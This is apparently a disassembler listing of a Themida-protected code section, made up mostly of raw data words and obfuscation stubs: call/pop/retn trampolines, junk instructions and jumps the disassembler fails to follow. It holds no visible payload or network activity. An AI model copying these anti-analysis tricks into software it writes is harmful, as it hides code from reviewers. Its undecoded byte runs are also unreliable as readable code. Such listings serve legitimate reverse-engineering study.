		dd 95FFE2D8h, 6102FA5h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 3C35141h, 89DB03B0h, 10024D8Dh, 8BF98B06h
		dd 13C261B5h, 0A7B75206h, 106C75Fh, 6A000100h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 9156C350h, 599D8B58h, 8B06100Fh, 102D35BDh, 66579606h
		dd 5B5771BBh, 52506050h, 310F5250h, 310F585Ah, 810Fh, 585A0000h
		dd 28C0Fh, 0EBB50000h, 6A9661h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0E5F59FC3h, 8529334Dh
		dd 6102DE1h, 9787BB66h,	0C26DB5FFh, 9D0B0613h, 6101CEDh
		dd 122595FFh, 95090610h, 610137Dh, 0C261B58Bh, 8D890613h
		dd 6102809h, 21D1858Bh,	0BD8B0610h, 6102FC1h, 0C48689h
		dd 890F0000h, 6, 8898509h, 958B0610h, 61009F5h,	1CA58529h
		dd 0C2830610h, 55006A04h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 201DC5C9h, 3CDB8175h
		dd 89198376h, 858D2050h, 613D7C2h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 2BC35646h, 0F55973F9h, 0B99D8B7Fh
		dd 89061011h, 0B886h, 6A006A00h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 2D85C355h, 0F9D89C6h
		dd 68Fh, 0C1BD2900h, 0FF06102Dh, 13C26DB5h, 89BD8B06h
		dd 0FF061006h, 10049595h, 19BD2B06h, 5006102Dh,	89FA8B66h
		dd 860F2434h, 19h, 12E960h, 0FDA60000h,	0A080C5BAh, 810E9CC0h
		dd 95A09BCAh, 8608892Bh, 6DB5FF61h, 6A0613C2h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0EB75C352h, 8B425FE4h, 1011699Dh, 0B1BD8B06h, 0FF061009h
		dd 10162D95h, 51BD8306h, 61013h, 2B840Fh, 0C7800000h, 0F6BF5072h
		dd 895A6E84h, 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0D75D63C3h, 6DB5FF04h, 600613C2h
		dd 965BD89h, 0F0BF0610h, 617FCDCAh, 0C1995FFh, 95890610h
		dd 61030CDh, 0C26DB5FFh, 6A0613h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 0E4F2B9C3h, 6D5272C4h
		dd 0E8F537B6h, 11h, 0AE1FC84Eh,	0DEDF0BCh, 0D92B592h, 0F7972591h
		dd 0FE9D2h, 2C000000h, 8FCC74F5h, 867521E9h, 4C325779h
		dd 0F525B43h, 525BDBBFh, 115DB589h, 0FF5B0610h,	10162195h
		dd 0B3BB6606h, 89BD8355h, 206100Fh, 3D840Fh, 0BD890000h
		dd 6102109h, 10C5858Bh,	0BB660610h, 0C649DDh, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 934A072Ah, 0A25CCD6Dh, 68BBBC68h, 0C77A1016h, 102A2585h
		dd 6, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 0E6CABA60h, 88467B3Bh, 2ACD9D8Bh
		dd 820F0610h, 4, 0B452BB66h, 0FFF3B9E9h, 50006AFFh, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 5B4097E8h, 6623FFD9h, 0C18BD88Bh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 28C35545h
		db 39h,	78h
; ---------------------------------------------------------------------------


loc_59426E:				; CODE XREF: Themida_:005934DBj
		lea	eax, [ebp+61013B9h]
		push	0
		push	ecx
		call	sub_59427F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59427F	proc near		; CODE XREF: Themida_:00594277p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_59427F	endp

; ---------------------------------------------------------------------------
		xchg	eax, edx
		push	0FFFFFFE3h
		lodsb
		cdq
		xchg	eax, ecx
		sbb	[edx+42h], edx
		movzx	ebx, si
		push	eax
		mov	[esp], eax
		jmp	loc_5942AA
; ---------------------------------------------------------------------------
		db 0CCh
; ---------------------------------------------------------------------------
		retf	0BA78h
; ---------------------------------------------------------------------------
		mov	dl, 5Fh


loc_5942AA:				; CODE XREF: Themida_:0059429Fj
		mov	di, 0BFEBh
		push	0
		mov	[ebp+6102065h],	eax
		push	0
		mov	bx, 0FD5Bh
		mov	ebx, esi
		lea	eax, [ebp+6148FC0h]
		push	0
		push	ebp
		call	sub_5942CF
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5942CF	proc near		; CODE XREF: Themida_:005942C7p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5942CF	endp

; ---------------------------------------------------------------------------
		xor	eax, 0E8D59C3Dh
		js	short loc_594346
		sub	esi, [ebp+61011BDh]
		mov	di, bx
		popa
		mov	[ebp+6100241h],	eax
		add	eax, 5
		adc	di, 2FFAh
		push	eax
		jmp	loc_59430A
; ---------------------------------------------------------------------------
		dd 27F86B07h
		db 3Dh,	86h
; ---------------------------------------------------------------------------


loc_59430A:				; CODE XREF: Themida_:005942FFj
		mov	[esp], eax
		push	0
		push	esi
		call	sub_594318
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_594318	proc near		; CODE XREF: Themida_:00594310p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_594318	endp

; ---------------------------------------------------------------------------
		dd 67B5A9B2h, 8B6E4679h, 1001119Dh, 0F006A06h, 6AD9B7h
		dd 0FFD88B66h, 101D1995h
		db 6, 1
; ---------------------------------------------------------------------------


loc_594346:				; CODE XREF: Themida_:005942E4j
		test	ds:8D061028h, edx
; ---------------------------------------------------------------------------
		dd 13AFD88Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 0A48A4109h, 0CC6CE185h, 0FD1FF87h
		dd 0BD83DAB7h, 6102209h, 0A4850F01h, 6A000000h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 6714C351h, 419D8B3Eh, 6606102Ah, 6AEF57BFh, 0D9B70F02h
		dd 2890F90h, 8A000000h,	8B6650FEh, 6A90DEh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0D6AC4AC3h
		dd 480425ECh, 0FE889D2h, 4B000000h, 0A8904721h,	4201F8F5h
		dd 3F200780h, 0FA8AD13Ah, 9595FF5Bh, 6A061004h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0C00BC353h, 0A7090291h, 298D8965h
; ---------------------------------------------------------------------------
		adc	dl, [eax]
		push	es


loc_59442B:				; DATA XREF: Themida_:0054B6ACo
		jmp	loc_59524A
; ---------------------------------------------------------------------------
		call	$+5
		pop	ebp
		sub	ebp, 6148FCAh
		push	0
		push	edi
		call	sub_594447
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_594447	proc near		; CODE XREF: Themida_:0059443Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_594447	endp

; ---------------------------------------------------------------------------
		ror	byte ptr [ebx+1030ADBDh], cl
		push	es
		mov	edi, 2EE61452h
		lea	eax, [ebp+61399B6h]
		push	0
		push	edi
		call	sub_594474
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_594474	proc near		; CODE XREF: Themida_:0059446Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_594474	endp

; ---------------------------------------------------------------------------
		dd 0E9707A37h, 9E01FCFCh, 10E950h, 6B3E0000h, 0DF894861h
		dd 0F6C2992Fh, 0CCDD5F65h, 4892286h, 4880F24h, 66000000h
		dd 649298BBh, 35FFh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 65DE6BC3h, 0A50910F7h
		dd 0B9666041h, 61F86611h, 258964F5h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5944F3
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5944F3	proc near		; CODE XREF: Themida_:005944EBp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5944F3	endp

; ---------------------------------------------------------------------------
		db 0E7h
		dd 0AF7510D3h, 0FFFAB70Fh, 10141985h, 0D6F2BF06h, 0FF6A421Fh
		dd 6E9h, 8EA21200h, 0FFDDA5DDh,	10232DB5h, 5800F06h, 0BB000000h
		dd 5EFF1759h, 1E1BD2Bh,	95FF0610h, 6100615h, 115E9h, 0E900B000h
		dd 0Dh,	0C2226798h, 67911F71h, 8C3A7055h, 2970E6F2h, 10169985h
		dd 8971E406h, 1029798Dh, 0F613C06h, 0E983h, 20CB8000h
		dd 89C8B60Fh, 101AD19Dh, 6BA06h, 0BD8B0000h, 6100735h
		dd 0C18B97B3h, 0C141CB80h, 890F04E8h, 3, 66DBB70Fh, 0C82BE2F7h
		dd 72EF8166h, 0FD18B40h, 68Dh, 0DD8D8900h, 0E906102Eh
		dd 6, 5BD31h, 858B0610h, 6100989h, 0FE8h, 53C9200h, 1873E2D8h
		dd 0F798EC6h, 36D1450Fh, 18B59529h, 895F0610h, 101CDDBDh
		dd 7C08306h, 0AAC0BF66h, 6600C083h, 7818F781h, 830FD03Bh
		dd 1Dh,	0FD952960h, 0E9061022h,	5, 0BE851BD3h, 47E9616Ch
		dd 89000000h, 102061BDh, 758D8B06h, 0E9061028h,	8, 1864DB6h
		dd 2105F7C0h, 0F01E183h, 2584h,	758D0900h, 83061031h, 102875A5h
		dd 0BD8BFE06h, 6100949h, 9899589h, 8D0F0610h, 1, 0E9F9h
		dd 0B58D0000h, 61413DDh, 0B55BD8Bh, 6A0610h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 78C35141h, 7E4054B6h
		dd 0B5389C0Ah, 0FFD88B66h, 1031C995h, 45958906h, 0B9061008h
		dd 798h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	21C35747h, 7019CF8Dh, 83F5C23Eh, 6AFCE1h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0CD72A1C3h, 3250C9BBh, 0BE8B57Fh, 52000000h,	5D5C7659h
		dd 0F4FE446Ah, 0FC5F3F8Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 62C35545h, 29BDC5A9h,	102FE19Dh, 6AC02B06h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 76E5C357h, 1128FE10h, 55B52988h, 2B061006h
		dd 0CC4ABFD2h, 33AD3D8Ch, 3E8D1C2h, 4E983D0h, 6AF475h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 816D2FC3h, 7FE25FC3h, 56006A02h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 0DDF8B38h, 88h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 85C35343h, 18860Fh
		dd 13E90000h, 70000000h, 26100E9Dh, 0A720DFB4h,	65871D82h
		dd 0DCAAFD16h, 0BB66C863h, 958B9317h, 61009F5h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0A0C35646h, 2B5C64ACh
		dd 0B589B996h, 6101619h, 0BBE78151h, 5F29D899h,	23198D8Bh
		dd 0C7810610h, 577CECC6h, 8BC28B50h, 8BC10318h,	0D1C18B18h
		dd 8BC203E8h, 95895818h, 61004FDh, 9E8h, 0AEC4A000h, 0D869961Bh
		dd 895F2536h, 1010C19Dh, 29BD8306h, 6101Eh, 84840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 7B2818C3h, 2198B23Dh, 0B3DF3856h, 0B822h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0DBCAC1C3h, 167B6B88h, 8D8DFE8Bh, 6104E85h, 0B973BB66h
		dd 29A19D29h, 0E1FF0610h, 10E8h, 0E807F800h, 0AD642B7Ah
		dd 45685121h, 95A41A84h, 0CD9D3387h, 5B06100Eh,	0D9589h
		dd 0BD830610h, 61022C1h, 28840F00h, 29000004h, 102D5185h
		dd 0C1BD8306h, 1061022h, 430840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 30E85DC3h
		dd 0E9FBBF0Fh, 12h, 0BFD479C5h,	7CA0AC1Ch, 9B372C1Ah, 96711B1Fh
		dd 0BD833A77h, 61022C1h, 0B5860F03h, 0E9000003h, 8, 948BA73Fh
		dd 0C029F67Eh, 57006A60h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 78C801BEh, 66A4B3A8h
		dd 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 9D8B06C3h, 6102771h, 1D31BD0Bh, 0E1800610h
		dd 9E904h, 0A6E40000h, 0A800A606h, 0AC62D85h, 0CA840FC9h
		dd 0F000000h, 858BF9B7h, 6102185h, 0EB5BD0Bh, 85330610h
		dd 61011FDh, 0C319D89h,	8B500610h, 240489D9h, 0A000BB66h
		dd 6ADAB70Fh, 7D8D3100h, 68061023h, 56AC3FECh, 4880Fh
		dd 0BB660000h, 3481BD9Fh, 0B33C1324h, 0D595FF56h, 6A061005h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 225EC357h, 6AC66C53h, 0F6446DFh, 687h, 0DB50900h
		dd 8906100Fh, 13C26D85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 94290271h, 0B4330D74h
		dd 0E9F8B98Ah, 211h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 0BFC35141h, 65858B27h, 6A0613C2h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0C877C356h, 71C17F1Eh, 14E95Ch, 22940000h, 40E66161h
		dd 3C2B12D0h, 0B8462BECh, 571AA9E1h, 0C7B4DDh, 18h, 0C269B58Bh
		dd 8BF80613h, 100E2585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 2BD91F29h, 0FE9ADFDh
		dd 25000000h, 0A415E232h, 7C867Eh, 15AC5FAEh, 689A6CEh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0ACC35747h
		dd 858BFB46h, 6102185h,	21DD8529h, 46890610h, 52006A04h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 6051D879h, 0EB5B533h, 0B58B0610h, 6102ED9h, 89505F61h
		dd 0BD8B2434h, 6101C0Dh, 0C265B5FFh, 6A0613h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 522412C3h
		dd 60528ABFh, 7319D89h,	8A0F0610h, 6, 2D699D8Bh, 0BB610610h
		dd 34896301h, 4E8h, 1F03FF00h, 5059B700h, 8830Fh, 850F0000h
		dd 2, 448B5F57h, 1BB0424h, 8B54A325h, 89D88B00h, 58042444h
		dd 6D858DF9h, 6A0613C2h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0E13AC357h,	0FB20231Bh
		dd 29052FBBh, 348DB589h, 0F500610h, 505FDFBFh, 0DE9h, 0AC8D2C00h
		dd 19EAC323h, 0B3062DC5h, 48965D5h, 52006A24h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 969CE869h
		dd 89284FB4h, 100B9D9Dh, 0D595FF06h, 6A061005h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0D78EC351h, 6A613Fh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 923EC0C3h, 0AA913888h, 2D819D23h
		dd 8B660610h, 519D31DFh, 0C7061000h, 1022C185h,	306h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0B45F0641h, 9D8B1406h, 6100E8Dh, 0C26DBD83h,	0F000613h
		dd 1384h, 3830F00h, 66000000h, 20E9DA8Bh, 66000000h, 0B780F781h
		dd 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0AAB0C351h, 0B4ED21F1h, 0F18D891Ch, 66061018h, 6A7F73BBh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0F513C355h, 898D0360h, 66061015h,	8CD7D081h
		dd 0C1BD8361h, 3061022h, 42F850Fh, 81660000h, 83D81AEFh
		dd 13C26DBDh, 840F0006h, 41Dh, 0B5FFD98Bh, 613C26Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0B2C35747h, 2FA595FFh
		dd 6A0610h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0B59AFEC3h, 0BD8BD08Ah, 6102829h,	0C261B58Bh
		dd 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0BE86EC3h, 0AD000000h, 79B583CBh,	0B4E20B64h
		dd 8951413Bh, 101D11B5h, 0C75F5F06h, 1000106h, 4ABB6600h
		dd 45BD89FEh, 96061006h, 2820Fh, 5B520000h, 965B5750h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0E0C35040h
		dd 0AE8h, 0D4F0ED00h, 0BBD0DFA4h, 0E99F04E2h, 14h, 8E64B6C8h
		dd 5F335E2Fh, 0E1E94FDBh, 0F43F9A28h, 4E20F059h, 6DB5FF5Bh
		dd 6A0613C2h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 7C5C357h, 78920EAFh, 0BD2B05B2h
		dd 6101339h, 0D6B70F60h, 944318B9h, 95FF615Bh, 6101225h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0B5C35040h
		dd 0BD8BFAAEh, 6101929h, 0C261B58Bh, 8D010613h,	6103061h
		dd 0BE9h, 0D1122600h, 0A1DCF065h, 1121EDBCh, 21D1858Bh
		dd 95290610h, 61006F5h,	0C48689h
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_594F42	proc near		; DATA XREF: ___:off_438C78o
		pusha
		cmc
		popa
		mov	edx, [ebp+61009F5h]
		push	0
		push	eax
		call	sub_594F56
		and	[eax-3Dh], bl
sub_594F42	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_594F56	proc near		; CODE XREF: sub_594F42+Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_594F56	endp

; ---------------------------------------------------------------------------
		and	[ebp+32h], bh
		stosb
		jnp	short loc_594FA3
		mov	al, ds:8341B011h
		retn	8B04h
; ---------------------------------------------------------------------------
		mov	ebp, 61011F9h
		jmp	loc_594F90
; ---------------------------------------------------------------------------
		dw 0BB44h
		dd 628C4AE6h, 30227D90h, 2159806h, 0C4D1E365h
; ---------------------------------------------------------------------------


loc_594F90:				; CODE XREF: Themida_:00594F79j
		mov	[eax+20h], edx
		push	0
		push	edx
		call	sub_594F9E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_594F9E	proc near		; CODE XREF: Themida_:00594F96p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx


loc_594FA3:				; CODE XREF: Themida_:00594F6Aj
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_594F9E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		das
		daa
		or	bl, [ebx-247FC220h]
		cwde
		lea	eax, [ebp+613D7C2h]
		push	0
		push	edi
		call	sub_594FC8
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_594FC8	proc near		; CODE XREF: Themida_:00594FC0p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_594FC8	endp

; ---------------------------------------------------------------------------
		pop	ebp
		xor	eax, 0C9ADBCE1h
		and	al, [ebx+ecx*4]
		popf
		mov	ch, 1Bh
		adc	[esi], al
		mov	ebx, 2837AA64h
		mov	[esi+0B8h], eax
		push	0
		push	ecx
		call	sub_594FFC
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_594FFC	proc near		; CODE XREF: Themida_:00594FF4p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_594FFC	endp

; ---------------------------------------------------------------------------
		db 90h
; ---------------------------------------------------------------------------
		test	[edi-3A72761Eh], al
		adc	edx, [eax]
		push	es
		mov	ebx, 34B7BC6Ah
		push	0
		mov	ebx, ecx
		push	dword ptr [ebp+613C26Dh]
		mov	[ebp+6100BC1h],	ecx
		call	dword ptr [ebp+6100495h]
		sub	[ebp+6100779h],	edi
		and	bx, 4043h
		push	eax
		mov	bx, cx
		mov	[esp], esi
		push	0
		push	edx
		call	sub_59504E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59504E	proc near		; CODE XREF: Themida_:00595046p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_59504E	endp

; ---------------------------------------------------------------------------
		dw 5E6Eh
; ---------------------------------------------------------------------------
		cmp	al, 0FFh
		mov	ch, 6Dh
		retn	613h
; ---------------------------------------------------------------------------
		db 80h
		dd 6E841F7h, 8B000000h,	0B2B66E9Eh, 0D88B6683h,	2D95FF5Fh
		dd 8B061016h, 51BD83F8h, 61013h, 3C840Fh, 0BF0F0000h, 89BB66D8h
		dd 0BE850F7h, 71000000h, 4626B26Bh, 464C47CDh, 895BCE1Bh
		dd 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0C6C4F8C3h, 0B5FF9BF2h, 613C26Dh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F6C35141h, 0F58EC112h
		dd 95FFDA8Bh, 6100C19h,	20B9BD8Bh, 0DE8B0610h, 0C26DB5FFh
		dd 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 16CDAFC3h, 9E375955h, 0EE8h, 0C6E15F00h
		dd 10E36EB5h, 14F28965h, 51DECCF5h, 0F0F38166h,	0FF5B5BF9h
		dd 10162195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0AC6B7BCEh, 3A4EAE01h, 0DD9D8BFAh
		dd 83061009h, 100F89BDh, 840F0206h, 51h, 18B9BD8Bh, 858B0610h
		dd 61010C5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	87C35040h, 0CDBCEF0h, 95893913h, 6100F09h, 0F80000C6h
		dd 0DE8h, 0C247B300h, 41841A64h, 0BA479BFFh, 0E78191C7h
		dd 1E696DFBh, 2585C75Fh, 6102Ah, 9000000h, 1009018Dh, 0F330E906h
		dd 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0E2E6E3C3h, 890F5681h, 0Ch, 6840Fh, 95890000h
		dd 61012B1h, 6AC18Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0A41DE1C3h, 6051D2C6h, 0F74C180h
		dd 8Ah,	665F6100h
; ---------------------------------------------------------------------------
		mov	ebx, edx


loc_59524A:				; CODE XREF: Themida_:loc_59442Bj
		lea	eax, [ebp+61013B9h]
		jmp	loc_59525D
; ---------------------------------------------------------------------------
		db 0FEh, 9, 0ABh
		dd 0A71414D3h
		db 0C6h
; ---------------------------------------------------------------------------


loc_59525D:				; CODE XREF: Themida_:00595250j
		push	eax
		call	sub_595268
		jz	short loc_5952CE
		sahf
		jl	short loc_5952E0

; =============== S U B	R O U T	I N E =======================================



sub_595268	proc near		; CODE XREF: Themida_:0059525Ep

arg_0		= dword	ptr  4

		mov	bx, si
		pop	edi
		mov	[esp-4+arg_0], eax
		jmp	loc_595282
; ---------------------------------------------------------------------------
		dd 0ACDBAE84h, 298CD51h, 0AD27E80Ah
		db 0D2h, 7Ch
; ---------------------------------------------------------------------------


loc_595282:				; CODE XREF: sub_595268+7j
		push	0
		push	0
		push	eax
		call	sub_59528F
		and	[eax-3Dh], bl
sub_595268	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_59528F	proc near		; CODE XREF: sub_595268+1Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_59528F	endp

; ---------------------------------------------------------------------------
		icebp
		les	ebp, [ecx]
		setalc
		inc	edi
		punpckhdq mm0, qword ptr [eax]
		push	0
		push	eax
		call	sub_5952B2
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5952B2	proc near		; CODE XREF: Themida_:005952AAp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5952B2	endp

; ---------------------------------------------------------------------------
		dw 0F637h
; ---------------------------------------------------------------------------
		inc	eax
		sar	cl, 8Dh
		test	[eax+6A06149Fh], esp


loc_5952CE:				; CODE XREF: Themida_:00595263j
		add	[ebp-18h], dl
		add	eax, [eax]
; ---------------------------------------------------------------------------
		db 0
		dd 0C35D2000h, 246C895Dh, 24448104h
; ---------------------------------------------------------------------------


loc_5952E0:				; CODE XREF: Themida_:00595266j
		add	al, 1Ah
; ---------------------------------------------------------------------------
		dw 0
		dd 0C3554500h, 8488EEBAh, 89173E3Fh, 101FADBDh,	0CBD38106h
		dd 8365F715h, 6A05C0h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 7A2154C3h, 294E4E3Ah, 10348D9Dh
		dd 8D0F5006h, 5, 78A6B0BBh, 24048971h, 6A006Ah,	3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 2AFB81C3h, 0A3A67B5Bh, 6AF533h, 1D1995FFh, 6A0610h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 61D750C3h, 9D8BB4FCh, 6100B09h, 0AFD88D8Dh, 0F88B0613h
		dd 0F270F781h, 0D1FF4E32h, 31C58D31h, 9D030610h, 6101CADh
		dd 2209BD83h, 0F010610h, 5A85h,	2F6BF00h, 26A0385h, 0AE9h
		dd 0BFD9100h, 161B2E85h, 6601FE1Bh, 1B09F781h, 0FE950h
		dd 54670000h, 4E331F03h, 0F45940A5h, 4E3F5443h,	240489F9h
		dd 9595FFF8h, 6A061004h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0FE8FC353h,	0E9D5F780h
		dd 0DBEh, 0E8h,	0ED815D00h, 6149FAAh, 14359D33h, 81660610h
		dd 81C720D7h, 933610D3h, 3850F20h, 0F000000h, 858DFFB7h
		dd 61399B6h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	0ADC35545h, 30A19D8Bh, 8F0F0610h, 0Bh, 45C38160h
		dd 8002A126h, 50618FC1h, 6A240489h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 9CACC357h
		dd 8E83Ah, 58230000h, 0BDF567F1h, 0EE8C9EEh, 0CF000000h
		dd 3D95FA85h, 4BB669BCh, 79E2AEADh, 0B6BF662Bh,	645B5BB4h
		dd 35FFh, 800F0000h, 2,	8964DE8Ah, 25h,	57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
